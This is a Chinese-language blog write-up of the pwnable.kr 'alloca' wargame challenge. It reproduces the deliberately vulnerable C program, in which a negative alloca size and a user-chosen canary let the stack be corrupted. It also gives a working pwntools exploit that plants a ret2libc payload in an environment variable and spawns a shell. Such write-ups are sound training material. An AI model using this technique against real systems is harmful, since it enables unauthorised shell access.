[pwnable.kr]--alloca

0x00:

好久没玩了...去年十月以后就没玩过了TAT 这几天把peach的坑,winafl的坑填了下,就来搞下pwn。

0x01:

这个程序是给了源码的

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void clear_newlines(){
    int c;
    do{
        c = getchar();
    }while (c != '\n' && c != EOF);
}

int g_canary;
int check_canary(int canary){
    int result = canary ^ g_canary;
    int canary_after = canary;
    int canary_before = g_canary;
    printf("canary before using buffer : %d\n", canary_before);
    printf("canary after using buffer : %d\n\n", canary_after);
    if(result != 0){
        printf("what the f...??? how did you fucked this buffer????\n");
    }
    else{
        printf("I told you so. its trivially easy to prevent BOF :)\n");
        printf("therefore as you can see, it is easy to make secure software\n");
    }
    return result;
}

int size;
char* buffer;
int main(){

    printf("- BOF(buffer overflow) is very easy to prevent. here is how to.\n\n");
    sleep(2);
    printf("   1. allocate the buffer size only as you need it\n");
    printf("   2. know your buffer size and limit the input length\n\n");

    printf("- simple right?. let me show you.\n\n");
    sleep(2);

    printf("- whats the maximum length of your buffer?(byte) : ");
    scanf("%d", &size);
    clear_newlines();

        printf("- give me your random canary number to prove there is no BOF : ");
        scanf("%d", &g_canary);
        clear_newlines();

    printf("- ok lets allocate a buffer of length %d\n\n", size);
    sleep(1);

    buffer = alloca( size + 4 );    // 4 is for canary

    printf("- now, lets put canary at the end of the buffer and get your data\n");
    printf("- don't worry! fgets() securely limits your input after %d bytes :)\n", size);
    printf("- if canary is not changed, we can prove there is no BOF :)\n");
    printf("$ ");

    memcpy(buffer+size, &g_canary, 4);    // canary will detect overflow.
    fgets(buffer, size, stdin);        // there is no way you can exploit this.

    printf("\n");
    printf("- now lets check canary to see if there was overflow\n\n");

    check_canary( *((int*)(buffer+size)) );
    return 0;
}

主要还是需要突破他的防护,拿到shell。
看下bin文件开了什么保护:

调试发现,check_canary()函数返回的时候,如果恰当的设置g_canary的值,就可以控制返回地值。

然后我就卡在这里了...开启了NX,只能ROP的思路搞,但是ROP链又不知道哪里放置。

0x02:

后来参考了别人的做法,才发现这是个本地利用...直接按照以前玩overthewire学来的套路就可以:sc放在环境变量离,然后确定地址,直接改返回地值过去就可以了。
不过首先要利用ulimit -s unlimited去固定下libc的加载地址,然后才可以确定system()和/bin/sh地址。

附上我本地调试的时候的exp,环境不同,所以地址可能不同。

from pwn import *
import os

off_system  = 0x0003d3e0    # objdump -d /lib/i386-linux-gnu/libc.so.6 | grep system
off_shell   = 0x0015ea69    # grep -oba /bin/sh /lib/i386-linux-gnu/libc.so.6
adr_libc    = 0x40047000    # ldd alloca
adr_payload = 0x40025857    # searchmem "AAAA"

payload     =   p32(adr_libc + off_system)
payload     +=  p32(0xdeadbeef)
payload     +=  p32(adr_libc + off_shell)

#test = "AAAABBBBCCCC"
#p = process('./alloca', env = {'LD_PRELOAD': test})
p = process('./alloca', env = {'LD_PRELOAD': payload})
#raw_input("$$")
p.sendline(str(-92))                   
p.sendline(str((adr_payload + 4) ^ 0x08048250))
p.interactive()

'''
0x40025857 ^ 0x08048250 --> 0x4806da07
Cannot access memory at address 0x4806da03
0x40025857 + 4
'''

0x03:参考链接

http://0byjwzsf.me/2016/08/08/pwnable-rookiss-alloca/#more

posted @ 2016-08-14 19:17 何沐 阅读(...) 评论(...) 编辑 收藏